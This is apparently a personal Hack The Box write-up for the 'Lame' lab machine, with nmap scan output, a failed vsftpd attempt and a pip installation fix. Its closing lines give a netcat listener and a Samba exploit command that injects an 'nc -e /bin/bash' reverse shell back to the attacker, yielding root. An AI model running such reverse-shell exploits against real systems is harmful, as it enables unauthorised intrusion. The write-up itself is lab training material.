Lame

```
nathan@kali:~$ nmap -sC -sV -Pn 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-14 16:48 EDT
Nmap scan report for 10.10.10.3
Host is up (0.041s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.25
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.07 seconds
```

From the nmap scan we see:
-the open ports
-the ftp allows anonymous login
Attemps:
-the version of the ftp is vsftpd 2.3.4. There is an exploit on github for it, but it does not work.
-the anonymous ftp does not work.
Back to the drawing board:
https://blog.barradell-johns.com/index.php/2019/01/16/htb-lame-writeup/ ran a different version of nmap that shows the smb version
From there we find that the version of SMB has plenty of exploit code on Github.
The problem is, the Python code needed to import from smb.
SO, I got stuck forever trying to figure out how to get the pip install to work because I ran into several road blocks (pip not being loaded into python, access denied, etc)
FINALLY, I found the magic sauce:

```
python -m pip install SomePackage
```

This command gave me the keys to unlock the universe. I am now able to download the pysmb package in order for the Python code to work.
From this point on I run the following command while running NC to listen:
Terminal 1: nc -lvp 4444
Terminal 2: python3 smbd_3_20.py -t 10.10.10.3 -p 445 -c “nc -e /bin/bash/ 10.10..... 4444”
Now I am able to access the remote machine and find the information needed because the user is root.